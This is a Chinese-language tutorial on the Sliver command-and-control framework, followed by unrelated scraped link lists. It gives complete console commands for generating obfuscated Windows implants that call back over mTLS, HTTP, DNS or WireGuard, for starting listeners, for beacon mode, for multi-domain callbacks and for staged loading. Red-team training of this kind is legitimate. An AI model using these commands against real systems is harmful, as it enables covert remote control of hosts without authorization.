基操

1.启动服务端

./sliver-server_linux

2.启用多客户端协同

new-operator --name zha0gongz1 --lhost [serverip] #生成客户端配置文件
multiplayer #启用多用户(开启默认端口31337)

此时会在同级目录下生成zha0gongz1_192.168.123.23.cfg配置文件。该配置文件为校验信息,使用ECC非对称加密算法实现登录通信,如图:

知识点:服务端默认监听的端口为31337,修改默认端口: vim ~/.sliver/configs/server.json

3.客户端配置

拷贝该配置文件到客户端,运行对应的客户端文件导入配置文件:

Linux:
./sliver-client_linux import /root/tool/zha0gongz1_192.168.123.23.cfg windows:
sliver-client_windows.exe import /root/tool/zha0gongz1_192.168.123.23.cfg macos:
sliver-client_macos import /root/tool/zha0gongz1_192.168.123.23.cfg

然后再运行客户端文件即可

4.载荷生成

命令格式如下:

generate --mtls <Server IP> --save ./test.exe --os Windows

支持协议:Mutual TLS协议、http协议、DNS协议、WireGuard协议

生成时默认使用garble(旧版本使用gobfuscate)对implant源码进行混淆,防止被分析。可以使用 --skip-symbols参数禁用混淆。

知识点:gobfuscate,在源码层面修改变量以及代码结构,速度比较慢;garble是对中间编译环节进行混淆结构,速度较快也能混淆大部分符号等信息。

5.开启监听

如上一步,我们生成shell所用的监听协议为mtls,故我们要配置mtls类型的监听。

控制台执行命令

mtls

通过输入jobs命令,可以查看目前开启的监听。

默认端口是8888 如果要指定端口,执行命令:

mtls -l 9999  #设置监听

#同时记得更改生成exe时回连端口
generate --mtls 192.168.233.231:9999 --os windows --arch amd64 --format exe --save /home/kali/Tool/Sliver

查看生成过的implant:

implants

6.运行攻击载荷

执行后,服务端和客户端都会得到如下会话消息,主要包含session id、外网IP、主机名、平台、时间等。

7.会话操作

use id          #进入会话
sessions -i id #进入会话
sessions -k id #结束会话

通过help命令,我们可以得到相关的执行命令

进阶

攻击载荷

模式分类

Sliver 设计的 Implants 具备两种模式:session 模式(默认) 和 beacon 模式,区别在于beacon 模式属于异步通信方式,即执行累计的任务后,定期连接服务端返回数据,该模式与CobaltStrike 的通信方式相同,而 session 模式则进行持久连接,前者通信更加隐蔽,后者执行命令响应速度更快。当前 Implants 可由 beacon 模式切换至 session 模式,反之的功能官方尚未实现。

#生成beacon模式的攻击载荷
generate beacon --http 192.168.233.231 --save ~/

通信分类

Sliver 的通信方式有很大创新,相较于行业内流行C2新增加的通信方式有 MTLS(交互身份验证协议)和 WireGuard(VPN 协议),这两种通信方式都十分隐蔽,不容易被流量设备检测发现。

另外,Sliver 开发了一个多协议多 ioc 控制功能,即可以使用多种通信方式不同的ioc 进行控制,避免生成的单一通信或者ioc 连接失败。通信协议顺序优先级由高到低依次为 MTLS -> WG -> HTTP(S)-> DNS。

#创建多通信:
generate --mtls example.com --http foobar.com --dns 1.ss.org #多ioc随机连接:
generate --mtls foo.com,bar.com,baz.com --strategy r

无阶段加载方式

Implant

使用generate命令在C2服务器上生成Implant,可以使用help generate命令查看详细介绍。以下是比较重要的参数选择:

--mtls 192.168.233.231: 指定implant使用相互验证的TLS协议连接到 Sliver服务器。其他选项如`--wg`用于 WireGuard连接,`--http`用于 HTTP(S)连接或`--dns`用于基于DNS的C2连接。

--os windows: 指定在Windows上运行的implant程序(默认设置),同时也支持生成 MacOS 和 Linux的攻击载荷。

--arch amd64: 指定64位攻击载荷(也是默认值,可以省略)。使用`--arch 386`作为32位版本。

--format exe: 指定为exe可执行文件(同样是默认值),其他选项包括针对动态库的 `--format shared`、Windows 服务二进制文件的`--format service`(可与 psexec 命令一起使用)和 shellcode(仅限 Windows)。

--save /home/kali/Tool/Sliver: 指定生成文件存放的目录位置

命令示例:

generate --mtls 192.168.233.231 --os windows --arch amd64 --format exe --save /home/kali/Tool/Sliver/

阶段加载方式

Stager

Sliver implant是用Go语言编写的,而Go二进制文件的体积是众所周知的大。implant包含许多功能,但是它的大小有10MB作用,将来可能会更大,而一个stager可以只有几KB甚至简短几行的二进制代码。所以,在某些场景中,为了尽量降低暴露风险,使用stager更为妥当。

stager的工作方式比较简单(参见官方文档)。首先,在控制台中创建一个配置文件profile,定义implant基本配置。 然后,为其创建一个“stage监听器”(为第二阶段植入shellcode提供服务),监听器可以通过TCP连接或通过HTTP(S)为其提供服务。最后,就是在目标机器下载并运行shellcode。

对于Stager,可以通过C/C++、Go、Rust等语言自定义构造加载器来加载运行,并最终植入implant,进行后渗透操作。

结语

本文偏重教程,也是我实践学习过程中的记录,文中如有不妥之处,还望多斧正。随着Sliver团队不断完善,更新学习仍会继续...

玉 - Sliver的更多相关文章

  1. 【BZOJ-3039&1057】玉蟾宫&棋盘制作 悬线法

    3039: 玉蟾宫 Time Limit: 2 Sec  Memory Limit: 128 MBSubmit: 753  Solved: 444[Submit][Status][Discuss] D ...

  2. codevs 2491 玉蟾宫

    codevs 2491 玉蟾宫 http://codevs.cn/problem/2491/ 题目描述 Description 有一天,小猫rainbow和freda来到了湘西张家界的天门山玉蟾宫,玉 ...

  3. 玉伯的一道课后题题解(关于 IEEE 754 双精度浮点型精度损失)

    前文 的最后给出了玉伯的一道课后题,今天我们来讲讲这题的思路. 题目是这样的: Number.MAX_VALUE + 1 == Number.MAX_VALUE; Number.MAX_VALUE + ...

  4. TYVJ1939 玉蟾宫

    背景 有一天,小猫rainbow和freda来到了湘西张家界的天门山玉蟾宫,玉蟾宫宫主蓝兔盛情地款待了它们,并赐予它们一片土地. 描述 这片土地被分成N*M个格子,每个格子里写着'R'或者'F',R代 ...

  5. 【BZOJ】3039: 玉蟾宫(DP/单调栈)

    http://www.lydsy.com/JudgeOnline/problem.php?id=3039 每次看到我的提交都有点淡淡的忧伤T_T.. 看到此题我想到用前缀和维护点ij向左和向上能拓展的 ...

  6. Sea.js创始人玉伯的前端开发之路

    在Web应用程序的用户体验越来越被重视的今天,前端开发的地位也上升到了前所未有的高度,而随之而来的也有更多的挑战. 为了将前端开发者繁重的工作变得简单,框架应运而生.国内也不乏一些非常优秀的前端开发框 ...

  7. 【开源专访】Sea.js创始人玉伯的前端开发之路

    摘要:玉伯,淘宝前端类库 KISSY.前端模块化开发框架SeaJS.前端基础类库Arale的创始人.本期[开源专访]我们邀请玉伯来为我们分享一些关于前端框架.前端开发的那些事,以及前端大牛是如何炼成的 ...

  8. BZOJ_3039_玉蟾宫_(动态规划+悬线法)

    描述 http://www.lydsy.com/JudgeOnline/problem.php?id=3039 n*m的矩阵由R和F组成,求全是F的子矩阵的大小的三倍. 分析 悬线法: 浅谈用极大化思 ...

  9. BZOJ3039: 玉蟾宫&wikioi2491 玉蟾宫

    3039: 玉蟾宫 Time Limit: 2 Sec  Memory Limit: 128 MBSubmit: 430  Solved: 265[Submit][Status] Descriptio ...

  10. bzoj3039 玉蟾宫

    Description 有一天,小猫rainbow和freda来到了湘西张家界的天门山玉蟾宫,玉蟾宫宫主蓝兔盛情地款待了它们,并赐予它们一片土地.这片土地被分成N*M个格子,每个格子里写着'R'或者' ...

随机推荐

  1. 中英文拼写检测纠正开源项目使用入门 word-checker 1.1.0

    项目简介 word-checker 本项目用于单词拼写检查.支持英文单词拼写检测,和中文拼写检测. 特性说明 可以迅速判断当前单词是否拼写错误 可以返回最佳匹配结果 可以返回纠正匹配列表,支持指定返回 ...

  2. JSF预热功能在企业前台研发部的实践与探索

    作者:京东零售 李孟东 00 导读 企业前台研发部包含了企业业务大部分的对外前台系统,其中京东VOP平台(开放平台)适合于自建内网采购商城平台的企业客户. 京东为这类客户专门开发API接口,对接到客户 ...

  3. IDEAL部署外部tomcat及其乱码解决

    控制台tomca乱码问题: 本人使用tomcat9为例 1.启动信息有中文乱码: 原因:tomcat采用的是utf-8,而windows默认是GBK 修改java.util.logging.Conso ...

  4. proprety详解

    property() 函数和@property修饰符. 第一种方法,使用property() 函数: class Person: def __init__(self): self.__name= No ...

  5. [Java]排序算法>插入排序>【直接插入排序】(O(N*N)/稳定/N较小/有序/顺序存储+链式存储)

    1 直接插入排序 1.1 算法思想 插入排序的基本思想是:每一趟将1个待排序的记录,按其关键字的大小插入到已经排好序的一组记录的适当位置上,直到所有待排序记录全部插入为止. 1.2 算法特征 属于[插 ...

  6. 单元测试、文档测试、读写文件、StringIO和BytesIO

    1.单元测试就是为了测试程序执行的正确性 2.编写单元测试时,需要编写一个单元测试类,继承unittest TestCase类 3.单元测试最常用的断言是assert,断言期望抛出指定的异常 4.运行 ...

  7. smtp.office365.com 无法从传输连接中读取数据: net_io_connectionclosed

    这几天发送邮件时突然会报一个错 无法从传输连接中读取数据:net_io_connectionclosed. 因使用的是 smtp.office365.com 经过查询,发现了这个 Recently, ...

  8. mongoDB操作指南

    目录 1. docker安装mongoDB 2. 库-database 3. 集合-collection 3.1 命名规范 3.2 增-createCollection 3.3 删-drop 4. 文 ...

  9. docker上面部署nginx-waf 防火墙“modsecurity”,使用CRS规则,搭建WEB应用防火墙

    web防火墙(waf)免费开源的比较少,并且真正可以商用的WAF少之又少,modsecurity 是开源防火墙鼻祖并且有正规公司在维护着,目前是https://www.trustwave.com在维护 ...

  10. 痞子衡嵌入式:聊聊i.MXRT1xxx上第三级启动保障 - SDMMC manufacture模式

    大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家介绍的是i.MXRT1xxx上第三级启动保障 - SDMMC manufacture模式. 如果你在 i.MXRT1xxx 板卡上尝试过从 SD ...